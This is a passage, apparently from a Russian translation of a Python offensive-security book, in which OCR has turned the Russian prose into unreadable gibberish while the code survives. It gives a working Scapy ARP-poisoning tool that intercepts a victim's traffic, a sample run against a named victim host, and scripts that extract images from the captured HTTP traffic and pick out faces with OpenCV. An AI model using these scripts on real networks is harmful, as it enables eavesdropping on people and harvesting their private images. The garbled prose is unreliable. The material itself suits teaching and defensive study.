9TOT MakKeT Oy/eT MepefaBaThCs 110 IMHPOKOBEIATENFHOMY KaHATY, a (DYHKIUS
ARP OTIpe/IeJIsSIeT 3a1poc, KOTOPBIN, Oyayun Tocaan 1o 3aganaomy MAC-azipecy,
CIIpaImuBaeT y KayKI0TO ceTeBoro ysia o Hamuuuu [P-anpeca sxeptsol. [laker oT-
MIPaBJISIETCSI € TTOMOIIbIO (pyHKIIUU srp @ u3 coctaBa Scapy, KOTopas 1epejaer
U TPUHUMAeT TTaKeThl Ha BTOPOM, KaHAIbHOM ypoBHe. IIpricBanBaeM oTBeT Tiepe-
MEHHOI resp, KOTOpasi B UTOre JI0JKHA OYIeT coiepKaTh HCTOYHUK ypoBHs Ether
(MAC-anpec) nis IP-agpeca ;KepTBBI.

Tenepnb 3aiiMemcst HarucaHueM KJacca Arper:

class Arper():
def __init_ (self, victim, gateway, interface='eno'): ©

self.victim = victim
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac = get_mac(gateway)
self.interface = interface
conf.iface = interface
conf.verb = @

print(f'Initialized {interface}:') ®

print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
print(f'Victim ({victim}) is at {self.victimmac}.')
print('-'%*30)

[Ipu naUTIMaTM3aIu ATOTO KIacca MbI ykazbiBaeM [P-azmpeca sKepTBHI U ITI034,
a TaksKe ceTeBoil mHTepdeiic, KOTOPbIil OyAeT UCIOIb30BaThCs (end 110 yMoIya-
nuio) @. Nmes sty undopmaliuio, THUITMAIU3UPYEM TIepeMeHble interface,
victim, victimmac, gateway u gatewaymac, BbIBO/IS 3HAUEHUS B KOHCOJIb @,

Cosnamm BHYTpH Kjacca Arper (DYHKITHIO run, KOTOpast Gy/IET CIYKUTh TOUKOI
BXOJIa JIJIST aTaKku:

def run(self):
self.poison_thread = Process(target=self.poison) ©
self.poison_thread.start()

self.sniff_thread = Process(target=self.sniff) @
self.sniff_thread.start()

OcHosHas pabora Ha 06beKTe Arper JIOKUTCS Ha MeTo ] run. OH IIOArOTaBINBAET
1 BBITIOJIHSIET JIBA TIpoliecca: ouH Jjist nojmenbl ARP-kama @, a ipyroit jijist Toro,
4TOOBI MBI MOTJIM HAGJIOATh 32 MTPOBEJECHIEM aTaKy MyTeM aHaNn3a CETEBOTO
Tpacduka @.
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MeTOI[ poison co3jaer MOI[I/I(i)I/IL[I/IpOBaHHHe ITaKETbI 1 OTIIPABJIAET UX JKEPTBE
" HJTI03Y:

def poison(self):
poison_victim = ARP() ©
poison_victim.op = 2
poison_victim.psrc = self.gateway
poison_victim.pdst = self.victim
poison_victim.hwdst = self.victimmac
print(f'ip src: {poison_victim.psrc}")
print(f'ip dst: {poison_victim.pdst}"')
print(f'mac dst: {poison_victim.hwdst}")
print(f'mac src: {poison_victim.hwsrc}")
print(poison_victim.summary())
print('-"'%*30)
poison_gateway = ARP() @
poison_gateway.op = 2
poison_gateway.psrc = self.victim
poison_gateway.pdst = self.gateway
poison_gateway.hwdst = self.gatewaymac

print(f'ip src: {poison_gateway.psrc}"')
print(f'ip dst: {poison_gateway.pdst}")
print(f'mac dst: {poison_gateway.hwdst}"')
print(f'mac_src: {poison_gateway.hwsrc}")
print(poison_gateway.summary())
print('-"'%*30)
print(f'Beginning the ARP poison. [CTRL-C to stop]')
while True: ©
sys.stdout.write('.")
sys.stdout.flush()
try:
send(poison_victim)
send(poison_gateway)
except KeyboardInterrupt: @
self.restore()
sys.exit()
else:
time.sleep(2)

Meroj1 poison IIOArOTaBINBAET JaHHbIE, KOTOPbIE MbI OYIeM UCIIOIb30BATh B XO/I€
ataku ARP-cmydunra ma xxeptBy u muro3. CHavana co3faetcsd MOIUGUITIPO-
BanHblii ARP-nakeT, mpeanasHadeHHbIN 17151 JKepTBbI @. AHAJIOTUYHO CO3/IAETCST
ARP-maxer as uvmosa @. Utobbl aTakoBaTh 111103, MbI IieM emy API-agpec
KepTBbl U cobcTBeHHbIIT MAC-anpec. Takum jke 0Opa3oM aTakyeM KepTBY, OT-
npasiss eti cBoit MAC-ampec BMecte ¢ [P-anpecom nmo3a. Mbt BBIBOATM BCIO 9TY
UH(GOPMAIIIO B KOHCOJIb, YUTOOBI YOEAUTHCS B KOPPEKTHOCTH aPeCcOB Ha3HAYEHUST
U COZIEP’KUMOTO HAITUX ITaKETOB.
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Benen 3a a1uM 3amyckaeM 6CKOHEUHBII MK U HAYWHAEeM CJIaTh MOAU(DUIIIPO-
BaHHbIE TAKETBI TEM, KOMY OHHU ITPeHA3HAYEHBI, YTOOBI COOTBETCTBYIOIIHIE 3AIIICH
B ARP-Ka1ire octaBasinch BUOM3MEHEHHBIMU Ha ITPOTsKEHNH Beei ataku ©. [k
OyIIeT MpO0JIKATRCSI, TIOKA BbI He HaskmeTe Ctrl+C (KeyboardInterrupt) @, mocie
4ero HopMaJsibHble TTapaMeTpbl OYAyT BOCCTAHOBJEHBI (JIJIsI 9TOTO MbI OTIIPABUM
JKePTBe U TLII03Y KOPPEKTHYIO MH(POPMAIIIIO, 3aMeTast CIeIbl aTaKM ).

Y1o6bl Ha6JHOI[aTb 3a aTakoU B XO/Ie ee IIpoBeIeHNs 1 3allMChIBaTh IIPOUCXO/LIIEE,
Oy/leM aHAJIM3UPOBATH CETEBOI TPaUK ¢ MOMOIIBIO MeTo/Ia sniff:

def sniff(self, count=100):
time.sleep(5) ©
print(f'Sniffing {count} packets')
bpf_filter = "ip host %s" % victim @
packets = sniff(count=count, filter=bpf_filter, iface=self.interface) ©
wrpcap('arper.pcap', packets) O
print('Got the packets')
self.restore() ©
self.poison_thread.terminate()
print('Finished.")

[Ipesxie yeM HaYMHATH aHAIKM3, METO/ sniff jkueT 5 cekyHa @, 4ToObI TOTOK,
3aHUMAIOIINICS CITy(UHTOM, yCIe HayaTh paboty. Mbl GepeM 3ajiaHHOe KOJIH-
gecTBO 1akeToB (100 110 ymosryanuio) © u orbupaem te, Kotopbie copepsxkar [P-
azipec skepTBbl @, [loyiyuuB HYyKHBIE [TAKETDHI, 3AIIUCbIBAEM UX B (haili ¢ uMeHeM
arper.pcap @, BoccTaHaBIMBaeM HCXOAHbIe 3HaYeHMst B ARP-Tabimiax © u 3a-
BepiaeM paboTy MOToKa poison_thread.

Haxowuerr, MmeToj1 restore Bo3BpaliaeT KOMITbIOTED KEPTBbI U TILJTI03 B UCXOIHOE CO-
CTOSTHUE, OTIPABJISLI KaykioMy 13 HuX ARP-makeTs! ¢ KoppeKTHOI nH(MOpMaITne:

def restore(self):

print('Restoring ARP tables...')

send(ARP( ©
op=2,
psrc=self.gateway,
hwsrc=self.gatewaymac,
pdst=self.victim,
hwdst="ff:ff:ff:Ff:FF:Ff"),
count=5)

send(ARP(®
op=2,
psrc=self.victim,
hwsrc=self.victimmac,
pdst=self.gateway,
hwdst="ff:ff:ff:ff:FF:Ff"),
count=5)
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Mertozn restore MOKeT BBI3BIBAThCS KaK U3 poison (ecsin HaskaTh Ctrl+C), Tak 1 u3
sniff (mmocie 3axBaTa 3aJaHHOTO KOJTMYeCTBa MakeToB). OH IIJIET KEPTBE UCXO/I-
Hble 3Hauenust [P- u MAC-azipecos numoza @, a 103y — UCXO/IHbIE 3HAYEHUST
IP- u MAC-anpecoB sxepTBbl @.

ﬂaBaﬁTeHOCMOTpHM,KaKSTOTCKpHHTHPOHBHTC€6H}H1HpaKTHK&

MpoBepka HaNUcCAHHOro

[Ipex/ie yeM HAYUHATD, HY’KHO COOOIIUTH JIOKAJTBHOMN CHCTEME, YTO MbI COOMPAEMCsT
cnath naketsl o [P-agpecam, mpuHajieskammuM Kak MII03Y, TaK U aTaKyeMOMY
KoMmmbioTepy. Ecii Bbr ncmosb3yere Bupryanbnyio Mannny Kali, BBequre B cBoem
TepMUHAJIE CJIeYIOUIYI0 KOMaHy:

#:> echo 1 > /proc/sys/net/ipva/ip_forward

Ecuu sxe BbI Gouibinioit hanat Apple, Bam HYKHO HCITOJIb30BaTh KOMAH/LY CJIE/Ly-
IONIero BU/A:

#:> sudo sysctl -w net.inet.ip.forwarding=1

Wrax, ckondurypuposas mapuipytusarmio [P-aapecos, 3amycTuM Hair CKPpUNT
n ipoBepuM ARP-kamt aTakyemoro KommbioTepa. BoimosinnTe B cucteme, U3 Ko-
TOPOI BBl IIPOBOZIUTE aTaKy, ceyoliee (B KadecTBe aIMUHUCTPATOPA):

#:> python arper.py 192.168.1.193 192.168.1.254 en@
Initialized en@:

Gateway (192.168.1.254) is at 20:e5:64:c0:76:d0.
Victim (192.168.1.193) is at 38:f9:d3:63:5c:48.
ip src: 192.168.1.254

ip dst: 192.168.1.193

mac dst: 38:f9:d3:63:5c:48

mac src: a4:5e:60:ee:17:5d

ARP is at a4:5e:60:ee:17:5d says 192.168.1.254
ip src: 192.168.1.193

ip dst: 192.168.1.254

mac dst: 20:e5:64:¢0:76:d0

mac_src: a4:5e:60:ee:17:5d

ARP is at a4:5e:60:ee:17:5d says 192.168.1.193
Beginning the ARP poison. [CTRL-C to stop]
...Sniffing 100 packets

...... Got the packets

Restoring ARP tables...

Finished.
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Kpyro! Hukakux onibok, HU4ero HeokugaanHoro. Terepp gaBaiiTe moaTBepAnM
aTaky Ha KoMIbIoTepe kepTBbl. [loka ckpunT 3annmascs saxsatoM 100 makeTos,
MBI BBIBEJIU cojiepskiuMoe ARP-Tabuibl Ha atakyeMOM yCTPOCTBE, BOCTIOIb30-
BaBIIINCh KOMAH/IOH arp:

MacBook-Pro:~ victim$ arp -a
kali.attlocal.net (192.168.1.203) at a4:5e:60:ee:17:5d on end ifscope
dsldevice.attlocal.net (192.168.1.254) at a4:5e:60:ee:17:5d on en® ifscope

Kax Bunnre, b1 Mmogudutmposann ARP-kamr necyacTHOM KepTBBI, B pe3yJibraTe
vero o3y Obu1 mpucsoes MAC-azpec KOMIIBIOTEPA, ¢ KOTOPOTO TIPOBOMTCS
aTaka. B mepBoii 3amucy SBHO BUIHO, YTO MBI aTaKyeM C ajpeca 192.168.1.203.
Korza ckpunT 3aKoHUNT 3aXBaT MAKeTOB, B KaTaJoTe, B KOTOPOM OH HAXOUTCH,
NIOJKeH ToSBUTLCS (haiis arper. pcap. EcTecTBeHHO, BBI MOXKETE 3aCTAaBUTH aTaKye-
MBI KOMITBIOTED TTPO/IETBIBATH Pa3HbIe HETTPUSATHBIE BEIIH, HATPIMED MTPOITYCKATh
BeCh CBOH TpadmK uepes JoKaIbHyI0 Koo Burp. B cienyiomem pasmesre peunb
noiizer 06 aHaIM3e JaHHBIX B hopMare pcap, TOITOMY JIydlie He BhIOpachiBaiite
9TOT pcap-Gaii — Majo M 9TO B HEM MOKET OOHapyKUThCs!

AHanu3 gaHHbIX B dopmarte pcap

Wireshark u gapyrue wacrpymentst Haogobue Network Miner otjimdHo 1moji-
XOAT /ISl UHTEPAKTUBHOTO MccaefoBanus daiinos dopmara pcap, HO B HEKO-
TOPBIX CJyYasAX aHAJIM3UPOBATD Takue (hailrbl HeOOXOAMMO ¢ TToMolIbio Python
u Scapy.

[TomoiizeM K 3TOMY BOITPOCY HEMHOTO C IPYTOM CTOPOHBI 1 OTIPOOYEM BHIUTIEHUTD
u3 HTTP-tpaduka daiinst nzobpaskenuii. [lomyuns ux, Bocmosbsyemest OpenCV
(http://www.opencv.org/) — cUCTEMOI KOMIBIOTEPHOTO 3PEHUS — B MOMBITKE OTO-
OpaTh Te U3 HIUX, KOTOPBIE COIEPIKAT YETOBEUECKUE JIUTIA 1, CJIE0BATETIHHO, MOTYT
Hac 3anHTepecoBath. /[t reHeparuu peap-GhaiijioB MOKHO TPUMEHUTD MPEJIbI-
maymmuit ckpunt ARP-criydurTa nim pacumpuTh COOTBETCTBYTIONNN aHATI3AaTOP
TpaduKa, 4ToObI OOHAPYKUBATH JIMIA HA JIETY, [TOKa KePTBa IIPOCMaTpUBaeT BeO-
CTPaHUIIBI.

JlaHHbII TPUMepP COCTOUT M3 IBYX OT/IEJIbHBIX 3a/1a': U3BJI€UEHUST U300pasKeHU T 13
HTTP-rpaduka u o6HAPYKeHMs Ha HUX JIKIL. II09TOMY MBI CO3a{1M JIBE IIPOrpaM-
MBI, 4TOOBI TIPH HEOOXOMMOCTH HUCIIOJIb30BATh UX OTAeTbHO. HO MX MOKHO MpH-
MEHSIThH 1 B CBSI3Ke, UeM MBI 3/1ech U 3aiimemcs. [lepBast mporpamma, recapper . py,
aHaJIM3upyeT pcap-(daiis, UIeT B MOTOKAX, KOTOPbIE B HEM COJIEPIKATCS, JTIOObIe
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n300pakeHus 1 3aluchiBaeT X Ha AMCK. Bropas nporpamma, detector. py, aHa-
JIMBUPYET KasK0€ U3 HTUX U300pakeH1ii, UTOObI OIIPeeINTh, 3aIle4aT/IeHo JIU Ha
HeM sinio. Eciiv 1a, Ha IMCK 3alIMChIBAETCSA HOBOE 300paskeHne ¢ PAMKOI BOKPYT
00OHaPYKEHHOTO JINTIA.

Jlnst Hauasta HabepeM Kojl, HeOOXOAMMBbIIT /I aHa/IM3a JaHHbBIX B (hopMaTe peap.
Mpr 3azieiicTByeM namedtuple — CTPYKTYPY AaHHBIX, K ITOJISIM KOTOPOI MOXKHO
obpartarbest 1Mo uMenam arpuOyToB. CTaHIAPTHBII KOPTEXK MMO3BOJISIET XPAaHUTh
MOCJTIeI0OBATENbHOCTD HEM3MEHAeMbIX 3HAYeHNT — MOYTH KaK CIUCOK, TOJIbKO
AJIEMEHTBI HeJIb35T UBMEHATD. /{1 ocTyna K ujeHaM CTaHAapTHOTO KOPTeXKa 1C-
MOJIB3YTOTCS YMCTOBbIE WHIEKCDI:

point = (1.1, 2.5)
print(point[@], point[1]

namedtuple Bezer cebst, Kak OOBIYHBII KOPTEK, TOJIBKO K TOJIAM MOKHO 00pa-
ATHCS 110 UX UMEHAM. ITO JeJIaeT Ko Kyia 6oiee y10004nTaeMbIM 1 IIOBBIIIAET
a(pDeKTUBHOCTH MCITOIB30BAHUS TTAMSTH TI0 CPaBHEHUIO cO cioBapeM. CHMHTaK-
cHC co3/laHus namedtuple IpejycMaTprBaeT JBa 0Osi3aTe/IbHbIX apryMeHTa: HMsT
KOpTeXKa U CIHUCOK ¢ mMeHaMu TtoJielt. [IpezcTaBpre, k mpuMepy, 4To BaM HY;KHO
CO3/1aTh CTPYKTYPY AAHHBIX Point ¢ ABYMst aTpuOyTamu, x 1 y. ITO AeIaercst
CIIeLy oM 00pasoM:

Point = namedtuple('Point’, ['x', 'y'])

Beote 3a 9TUM MOKHO, HAITPUMED, CO3/IaTh OOBEKT THIA Point ¢ UMeHEM p, UC-
HOJIb3YsI KOJI p = Point(35,65), n 0OpaIaThCs K €ro arpruOyTaM Kak K arpuOyTam
KJacca: p.x u p.y OyAyT yKasplBaTh Ha aTpuOYThl KOHKPETHOTO K3EMILISIPa
namedtuple ¢ uMeHeM Point. DTO BBITISANT HAMHOTO MOHSATHEH, YeM KOJI, KOTOPBIit
CCBLTAETCsI Ha HJIEMEHTHI OOBIYHOTO KOPTeXa M0 MX MHAeKcaM. BepHeMmcst k Ha-
eMy MPUMEPY ¥ TIPEACTABIM, YTO BbI CO3/Ia/IM namedtuple ¢ nMeHeM Response,
UCIIOJIB3YsT CIIEY 0NN KOJL:

Response = namedtuple('Response', ['header', 'payload'])

Tenepn, BMECTO TOro 4T00bI UCIIOAB30BATh UHAEKC, KAK B OOBIYHOM KOPTEXKE,
MOJKeTe 06pamaTbcs1 K anI/I6yTaM Tak: Response.header njn Response.payload.
ITO HAMHOTO TIPOTITE TIOHSTh.

IIpumennm 11 3HaHUA B ipuMepe. Mbl mpounTaeM pcap-Qaiisi, BOCCO3IaauM
Jmio0ble mepeantble M300paskeHusT 1 3anuiieM ux Ha auck. OTkpoiite daiin
recapper.py U HabepuTe CJAEYIONI KO/I:
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from scapy.all import TCP, rdpcap
import collections

import os

import re

import sys

import zlib

OUTDIR = '/root/Desktop/pictures’' @
PCAPS = '/root/Downloads'

Response = collections.namedtuple( 'Response’, ['header', 'payload']) @

def get_header(payload): ©
pass

def extract_content(Response, content_name='image'): O
pass

class Recapper:
def __init_ (self, fname):

pass
def get_responses(self): ©
pass
def write(self, content_name): O
pass
if __name__ == '__main__":

pfile = os.path.join(PCAPS, 'pcap.pcap')
recapper = Recapper(pfile)
recapper.get_responses()
recapper.write('image')

ITO KapKac OCHOBHOM JIOTMKK BCETO CKPUIITA, BCIIOMOTraTesibHble (DYHKIHH OY-
AyT 100aBIeHbI Yy Th M035Ke. Mbl MIMIIOPTUPYEM HYKHbIE MOLYJIN U YKa3bIBaeM
MECTOTIOIOKEHNEe KaTaJoTa, B KOTOPBIH OYAyT 3aMNChIBATHCSA M300pakeHMs,
a TakXKe MMyTh K pcap-Qaiiny, KoTopblil Hy:KHO pounTtath @. 3atem orpeesnseM
namedtuple c iMeHeM Response U IByMst aTpubytamu: header (3aroloBOK maxera)
u payload (cozmep:kumoe nakera) @. Mbl co3/1a/1uM JIBE BCIIOMOTaTebHbie (hyHK-
WU JIJIs] TIOJIyYeHUsI 3ar0JI0BKa TTakeTa © u uzsiedenus cogepxumoro @. A rakke
olpeziesIuM Kiiace Recapper, 4TOObI BOCCO3/1aTh M300PasKeHs, IPUCY TCTBYIOLIIE
B TIoTOKe makeToB. [ToMuMo __init__ Kiacc Recapper Oy/eT comepsKaTh [Ba Me-
To/a: get_responses JJIs YTEHUS OTBETOB U3 pcap-daiiia @ u write 11 3anucu
(haiiioB ¢ n306paskeHUsIMU, OOHAPYKEHHBIX B OTBETaX, B BHIXOAHOW Katajior @.

[lng nauana manumeMm QyHKITAIO get_header:
def get_header(payload):

try:
header_raw = payload[:payload.index(b'\r\n\r\n')+2] ©
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except ValueError:
sys.stdout.write('-")
sys.stdout.flush()
return None @

header = dict(re.findall(r'(?P<name>.*?): (?P<value>.*?)\r\n’,
header_raw.decode())) ©
if 'Content-Type' not in header: @
return None
return header

Oyuknus get_header npunumaer Heobpaboranubiii HTTP-Tpacduk 1 BbigaeT
3arosioBku. YToObI M3BJIEYb 3ar0JI0BOK, TEPEXOANM B CAMOE HAYAJIO COAEPKUMOTO
U WIIEM JIBE TIapbl CKMBOJIOB — BO3BpaTa KapeTku U nepesojia crpoku @. Ecin
HUYEro He yIaeTcs HAlTH, MbI TIOJYYMM UCKJIIOUeHre ValueError, B 9TOM CJIy-
yae TPOCTO BbIBEEM B KOHCOJIb feduc (-) u 3aBepiium pabory @. Eciu nmouck
OKayKeTCsl YCIENTHbIM, Mbl CO3/1aiuM ciioBapb (header), pa3GuB JIE€KOMPOBAHHOE
COZIEPKUMOE Ha YaCTH, TaK YTOOBI KJII0Y HAXO/UJICST TIEPE]T IBOETOUMEM, a 3HAUE-
Hue — mocJie Hero ©. Eciin 3arosioBok He coziep:KuT Kitodya Content-Type, BO3-
BpaiiaeM None, CUTHAJIU3UPYsI 00 OTCYTCTBUY JIAHHBIX, KOTOPbIE HYKHO M3BJI€Yb @.
Teneps naBaiite HanumeM QYHKITUIO /I N3BJICUYCHUS COACPKUMOTO M3 OTBETA:

def extract_content(Response, content_name='image'):
content, content_type = None, None
if content_name in Response.header['Content-Type']: ©
content_type = Response.header['Content-Type'].split('/')[1] @
content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] ©

if 'Content-Encoding' in Response.header: ©

if Response.header['Content-Encoding'] == "gzip":
content = zlib.decompress(Response.payload, z1lib.MAX_WBITS | 32)
elif Response.header['Content-Encoding'] == "deflate":

content = zlib.decompress(Response.payload)

return content, content_type ©

Oynknug extract_content npuanmaer HTTP-otBet u tum comep:xmMoro, Ko-
TOpOE MBI XOTUM 13BJIeub. Kak Bl TOMHNTE, Response — 3T0 namedtuple ¢ AByMs
aTpubyTtamu, header 1 payload.

Eciu copepskumoe GbiIo 3aK0AMPOBaHO @ ¢ TIOMOIIBIO TAKOTO MHCTPYMEHTa Kak
gzip usu deflate, Mbl €10 paciakoBbIBaeM, UCIIOJIb3YsI MO/LYJib z1ib. Eciin oTBeT
comepkuT n3obpakenue, B arpubyre Content-Type ero sarojoBka Oy/er Ha-
XOJIUThCS TIOJICTPOKA image (Hampumep, image/png uiau image/jpg) ©. B takom
cJrydae MbI CO3/IaeM IepeMeHHYI0 C UMeHeM content_type v IpucBanBaeM el TUTI
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COZIEP;KUMOTO, YKa3aHHbBIN B 3ar0JIoBKe @. /{151 XpaleHnus: caMoro COAeP:KIMOTO
(Bcero, 4To UIET TIOCJIE 3aTOJIOBKA ) MCIIOJIb3YEM ellle O/[HY rTepeMentyio ©. B konire
BO3BpallaeM KOpTeX ¢ content u content_type ©.

Wrak, e BeromMorare/ibHbie (QyHKIMU roToBbL J[06aBUM MeTO/IbI B KJ1acc Recapper:

class Recapper:
def __init_ (self, fname): ©
pcap = rdpcap(fname)
self.sessions = pcap.sessions() @
self.responses = list() ©

CHavajra MbI HTHUTIMATU3UPYEM OOBEKT, TiepeiaBast eMy UMst pcap-aiiia, KOTopbIit
HYKHO TTpounTaTh @. MBI TT0JIb3yeMCsT TIPEKPACHBIMU BO3SMOKHOCTSIMU OMOIHO-
Teku Scapy, nozposistionieil pazdusarh TCP-10TOK Ha OT/Ie/IbHbIE CeaHCh! @ 1 co-
XPaHATh UX B BUJIE CI0Bapsl. B KOHIIe co3/1aeM ITyCTOii CIIMCOK C UMEHEM responses,
KOTOPBIN 1M03:Ke OyIeT HAMOJHEH OTBeTaMu 13 pcap-(daiiia ©.

B MeTo/ie get_responses MbI HpOﬁﬂeMCH 110 TIOTOKY IMAaKETOB B ITOMCKE KaK10TI0
OTA€eJIbHOTO OTBETa 1 ,Z[O63.BI/IM Haﬁl{eHHOG B CITMCOK responses:

def get_responses(self):
for session in self.sessions: ©
payload = b""'
for packet in self.sessions[session]: @
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80: ©
payload += bytes(packet[TCP].payload)
except IndexError:
sys.stdout.write('x"') @
sys.stdout.flush()

if payload:
header = get_header(payload) ©
if header is None:
continue
self.responses.append(Response(header=header, payload=payload)) ®

B metojie get_responses MbI mepeGupaeM cHavaa CIoBaph CEaHCOB sessions @,
a 3aTeM TIaKeThl, TPUHAJIIEKATINE KaUKIoMy ceancy @. Duibrpyem Tpaduk, 4To-
OBl TIOJIYYUTD TOIBKO MAKETDI, KOTOPbIE OB MPUHSITHI MU OTIIPABJIECHBI Yepe3
nopt 80 ©. 3arem oObeIMHSIEM BCe TIOJIE3HOE cofepskuMoe B Gydep ¢ nMeHem
payload. D10 hakTHUeCKU TO XKe camoe, 4To 1eakHyTh B Wireshark mpasoit
KHOIIKOI MBIIIN Ha [aKeTe U BHIOpaTh MyHKT MeHio Follow TCP Stream (OTcieauthb
TCP-notok). Ecii He osryautcst 106aBUTH COAEPKUMOE B IlepeMeHHY o payload
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(cKopee Bcero, 13-3a OTCYTCTBUS KJIIoua TCP B packet)!, MbI BBIBE/IEM B KOHCOJIb X
U MIPOI0JKUM paboTy @.

Ecan mocjie Toro kak mMbl 3aH0BO cobpaau Boeauuno HTTP-nannbie, 6GaiiToBast
cTpoka payload He TycTas, repefaeM ee GyHKIUU get_header ©, KoTOpas I1o-
3BoJisieT aHanusuposarb HTTP-3arosiosku 1o oraeabHocTy. Jabiie 106aBisieMm
Response B CIIMCOK responses @.

Haxkomeri, Mbl iepebupaem CIIMCOK OTBETOB B IOKMCKe U300pakKeHUs U, eCJIU OHO
Ha/IeHO, 3aIMChIBAEM €r0 Ha JIMCK C IIOMOIIBIO MEeTO/Ia write:

def write(self, content_name):
for i, response in enumerate(self.responses): ©

content, content_type = extract_content(response, content_name) @

if content and content_type:
fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}")
print(f'Writing {fname}")
with open(fname, 'wb') as f:

f.write(content) ©

[Tocse morydyenust Hy>KHBIX OTBETOB METO/Iy wWrite OocTaHeTCd TOJIBKO TPONTHCH
o HuM @, u3BJIeYb UX cogepkuMoe @ u 3amucarpb ero B (aitn ©. Maiiibl cos-
JIAI0TCS B BBIXO/ITHOM KaTaJore, a UX UMeHa (DOPMUPYIOTCS C TOMOIIIBIO CYETUYNKA
13 BCTPOEHHON (hDyHKIIMU enumerate W 3HaueHUs content_type. Hampumep,
n300paskeHre MOKeT UMeTh HasBaHue ex_2.jpg. IIpu 3amycke mporpaMMbl Mbl
cosmaeM 00bEKT Recapper, BbI3bIBAEM METOJ get_responses, YTOObI HANTH BCe
OTBETHI B pcap-daiisie, U 3aTeM 3aluChIBAEM U300paKeHMsI, U3BJICUYEHHBIE 13 THX
OTBETOB, HA JIUCK.

B caepyroreii mporpamme MpoaHaJIU3upPyeM Bee H300paskeHMst U ONIPEIETIIM, CO-
JlepsKaT JIM OHM 4desioBedeckue jnia. Kaxkgoe noaxozsinee usobpaxkenue Oyper
CKOIIMPOBAHO B HOBBI (haiiy Ha AucKe ¢ qobaBieHneM paMki BOKPyT jmia. Cos-
narite aiia c umMeHeM detector. py:

import cv2
import os

ROOT = '/root/Desktop/pictures’
FACES = '/root/Desktop/faces’
TRAIN '/root/Desktop/training’

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
for fname in os.listdir(srcdir):

! Ecsm kimioya TCP ner, 6yaer crenepuposano uckimodernne IndexError. — 3dech u danee npu-
Mey. nep.
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if not fname.upper().endswith('.JPG"'): ©
continue
fullname = os.path.join(srcdir, fname)
newname = os.path.join(tgtdir, fname)
img = cv2.imread(fullname) @
if img is None:
continue

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
training = os.path.join(train_dir,
'haarcascade_frontalface_alt.xml")
cascade = cv2.CascadeClassifier(training) ©
rects = cascade.detectMultiScale(gray, 1.3, 5)
try:
if rects.any(): @
print('Got a face')
rects[:, 2:] += rects[:, :2] ©
except AttributeError:
print(f'No faces found in {fname}.")
continue

# BblgeneHne vy Ha M306paxeHwn
for x1, yl, x2, y2 in rects:

cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, @), 2) @
cv2.imwrite(newname, img) @

if name == '__main__':
detect()

Dyukius detect MpUHUMAET B KAUeCTBE BBO/IA TPU MAITKU: UCXOIHYIO, KOHEUHYIO
U Ty, B KOTOPOii coztepskarcst pecypest st OpenCV. Ona nepebupaer Kaxkblii
daiin JPG B ucxoanoil namnke (Mbl MIEM JIUIA, HOITOMY M300paKeHUsI, IPE/l-
MOJIOKUTEJIbHO, SIBJISIOTCS oTorpadusiMu 1, CKOpee BCero, XpausTces B (aiimax
¢ pacmupenueM .jpg @). 3aTeM cunThiBaeM M300pakeHKe ¢ OMOIIBIO O1OIN0-
Teku KoMIbioTepHOro 3perust OpenCV, cv2 @, sarpyskaem XM L-aiin detector
1 co3/taeM 00BEKT cv2 UIst OOHAPY KeH st U] ©. ITOT 0OBEKT ABJISIETCS Kraccudu-
KaTOPOM, 3apaHee 00ydeHHBIM HaXOIUTh JIHIIA, 3ariedaTieHHbie andac. B OpenCV
TaKJKe eCTh KIACCU(PUKATOPDI 111 OOHAPYIKEHUSI JIILL, CHATBIX B IPOMUIIb, KUCTEI
PYK, GPYKTOB U I[EJIOTO Psijia APYTUX OOBEKTOB, C KOTOPHIMU BbI MOKETE TI0O9KCIIE-
PUMEHTHPOBATH caMOCTosITeIbHO. OOHAPY KUB Juil0 @, KiaccubukaTop Bo3Bpa-
I[AeT KOOPANHATHI COOTBETCTBYIOMNIEN TTPSIMOYTOILHOM 00/IaCTH Ha N300PasKEHUH.
B aTOM Ctyuae MbI BBIBOMM COOOIIEHIE B KOHCOJIb, PUCYEM 3€JIEHYT0 PAMKY BOKPYT
juia @ u 3anuchiBaeM n306paskeHne B BBIXOAHOI KaTanor @.

[lannble rects, Bo3Bpalaembie KjaaccuGuKaTopoM, UMeIoT BUA (X, y, width,
height), r1e x 1 y — 9TO KOOpAMHATEI JIEBOTO HUYKHEIO yIJIa IIPAMOYTOJbHUKA,
awidth u height — ero mmupunna u BbicoTa.
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MbI UCITOJIb3yeM CHHTAKCHUC CPE30B, MOJIePKUBaeMblil sisbikoM Python @, st
peoOpasoBaHMsl ATUX JAHHBIX U3 OHOTO opmara B APyroil. To ecTh mpeBpa-
1aeM rect HEIOCPEJACTBEHHO B KOOpAMHATHI (X1, y1, x1+width, yl+height)
min (x1, yl, x2, y2). iMenno atoT ¢hopMaT OKUIAET MOJIYIUTh HA BXOJ METO/L
cv2.rectangle.

ITOT KO ObLI BEJIMKO/YIIIHO OHy6JII/IKOBaH Kpucom @upso na crpanuie http://
www.fideloper.com/facial-detection/. Ml BHec/In B Hero HeboIbInMe n3Menenus. Te-
nepb MPOBEPUM BCe 3TO B paboTe Ha Baleil BUpTyaabHoii Mammire Kali.

MpoBepka HANUCAHHOrO

Eciu BbI ente He yeranoBuau 6ubiamnorexn OpenCV, BBINONHUTE B TEPMUHATE
Buptyasbroil Mmamuubl Kali cienytomue komanap (o1sath ke cracubo Kpucy
Duj20):

#:> apt-get install libopencv-dev python3-opencv python3-numpy python3-scipy

B pesyuibrare 10JKHBI OBITH YCTaHOBJICHBI Bee (hailyibl, HeOOXOAMMBIE JJIst OOHA-
PYsKEHUsI JIUI B U3BJIEYEHHbIX n300paskeHusax. Ham Taksxke HYKHO B3ATh (haii
C pe3yJibrataMu 00ydYeHusI:

#:> wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

CronupyiiTe ckauaHHbIH (Paii B KATaIOT, KOTOPHIN MbI YKa3aJI1 C IOMOIIBIO TIepe-
MeHHOT TRAIN B haiisie detector. py. Teriepb co3aiiTe HECKOJIBKO KaTaJIOTOB JIJIST
BbIBOJIA M300pasKeH1ii, CKOUPYiiTe pcap-(aiis 1 3aryCcTiTe HALK CKPUIITHL JTO
JOJIKHO BBITVIAAETDb IIPUMEPHO TakK:

#:> mkdir /root/Desktop/pictures

